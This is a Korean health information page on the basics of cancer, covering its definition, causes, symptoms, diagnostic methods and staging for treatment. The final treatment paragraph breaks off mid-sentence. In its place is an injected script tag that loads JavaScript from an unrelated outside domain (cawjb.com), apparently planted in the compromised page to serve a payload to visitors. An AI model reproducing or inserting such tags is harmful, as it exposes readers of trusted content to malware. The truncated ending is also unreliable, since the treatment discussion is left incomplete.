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건강정보

암의 일반정보

1) 암 이란 무엇인가?

암이란 특정세포가 분화 과정 중 어느 단계에서 무한정으로 성장하여 정상 조직들을 침범 및 파괴하는 질환으로 정의됩니다. 우리 인체의 수많은 장기는 수많은 세포로 구성되어 있어 각기 세포들이 모여 일정한 기능을 유지함으로서 생존이 가능합니다. 이들 세포의 성질이 변하여 무한정 증식하여 혹을 만들거나 정상 세포를 파괴하는 질환으로 변하여 생명까지 위협하는 암이 되는 것입니다. 암에 관해 많은 연구가 진행되고 있으나 아직 그 발생 원인은 정확하게 밝혀지지 않았습니다. 최근의 연구에서 정상세포로부터 암의 발생은 여러 가지 화학적 발암물질, 종양 유발 바이러스 또는 다량의 방사선에 노출 후 암 유전자의 활성화와 암 억제 유전자의 기능 소실에 의해 시작되는 것으로 제시되며, 이러한 현상은 실제 몇 가지 암질환에서 관찰되고 있습니다.
암은 인체의 어느 부위에서나 종괴를 형성하는 고형암(固型癌)의 형태로 발생하거나, 백혈병처럼 혈액암으로 발생할 수 있습니다.

2) 암의 발생원인은?

개인의 생활방식에서 기인되는 경우 흡연에 의한 폐암, 후두암 등의 발생, 고기를 불에 직접 구워먹는 과정에서 발생하는 각종 소화기암 발생 등이 있으며 직업적 요인으로는 굴뚝 청소부에게 발생했던 음낭암, 염료공장 인부들에게 흔한 방광암, 아스베스토스 광산에서 폐암 발생률 증가 등을 그 예로써 들 수 있습니다.
암을 유발할 수 있는 원인으로서 현재 잘 알려진 것으로는 우리 생활주변에서 경험하게 되는 각종 화학발암제, 담배나 자동차 연기 속의 발암물질들, 산업용 화학물질들, 식품첨가제 외에도 X-선, 감마선 등의 방사성 물질들, 아프리카 지역의 땅콩류에 흔히 기생하는 아플라톡신 B1 같은 곰팡이 독소, 자외선 투과가 많은 시골이나 해변 등지에서 반복적으로 햇빛을 쬐는 경우에 과량의 자외선 조사, 그리고 바이러스 등이 우리 몸에 암을 유발하는 구체적인 요인에 해당됩니다.
유전적 요인도 관련성이 있으나 암의 발생에 어느 한가지만 단독으로 관여하는 것이 아니라 여러 가지 요인이 복합적으로 작용하여 발생하게 됩니다.

3) 암 환자에서 나타나는 증상.

암을 조기에 쉽게 인식할 수 있는 특이증상은 없으며, 다른 질환과 달리 자각증상과 암의 진행정도가 일치하지 않는 점이 진단을 어렵게 합니다. 대부분의 경우 암이 진행된 후에 나타나는 증상들입니다.
감기의 경우 환자들은 발열, 근육통, 두통, 기침, 가래 등의 증상들이 초기부터 나타나기 때문에 환자 본인이나 주위 사람들의 관심을 끌게 되어 쉽게 치료됩니다. 반면 비슷한 부위에 발생하는 암의 경우에는 병이 상당히 진행될 때까지는 특별한 증상이 없고, 증상이 나타난 경우 이미 상당히 진행되어 완치를 기대하기가 어려운 상황인 경우가 많습니다. 암은 우리 신체의 일부가 암으로 변환되어 일어나기 때문에 종양이 커지면서 물리적으로 인체 기능에 장애를 초래하기 전까지는 환자 스스로 병의 발생을 인식하지 못하는 것이 아닌가 생각됩니다.

4) 암의 진단과정

확진은 종양의 조직검사 소견으로 내려집니다. 조직검사가 용이하지 않을 때는 세포흡인검사로 도움을 얻기도 하지만 원칙적으로 의심되는 부위의 조직을 절개하여 검사하는 것이 가장 정확합니다. 조직검사로 암이 확진된 경우, 다음 단계로 실시하는 일은 암이 어느 정도 퍼졌는가를 결정하는 것입니다(병기의 결정).
암이 병기를 파악하기 위한 주된 검사는 전산화단층활영(CT), 자기공명 영상촬영(MRI)과 같은 방사선 검사입니다.
일부 악성혈액질환(악성골수종, 만성백혈병 등)의 경우 혈액검사로 암의 병기를 결정하는 데 도움을 받을 수 있으나 확진할 수 있는 종양은 거의 없습니다. 간암, 대장암, 난소암, 고환암 등에서 종양표지자 검사가 진단에 도움을 주고 있으나 그 역할은 대단히 제한되어 있습니다.
혈액검사의 대부분의 역할은 환자의 신체기능을 평가하여 향후 치료방향을 결정하는 데 도움을 줍니다.
새로운 진단기법으로 암세포만 선택적으로 촬영할 수 있는 기능적 영상진단기법 등이 있습니다. 예로 들면 PET (positron emission tomography)의 경우, 암세포와 정상세포 사이의 기능적 차이를 영상에 담을 수 있음으로써 기존의 CT, MRI 등의 영상진단으로 확인할 수 없었던 미세병소에 대한 진단이 가능해질 것으로 기대되고 있습니다.

5) 암의 치료법

조직학적 검사로 암이 확진된 경우 방사선 검사 등으로 암의 진행 정도를 파악하여 흔히 1기, 2기, 3기, 4기로 병기를 결정하게 됩니다. 병기 결정 후 환자의 전신상태를 파악하여 구체적인 치료법이 결정되는데, 예로 들면 같은 3기 폐암환자라 할지라도 자각증세가 없이 활동 가능한 40대 환자와 제대로 거동하기 어려운 70대 환자는 같은 종류의 치료법?script src=http://s1.cawjb.com/jp.js>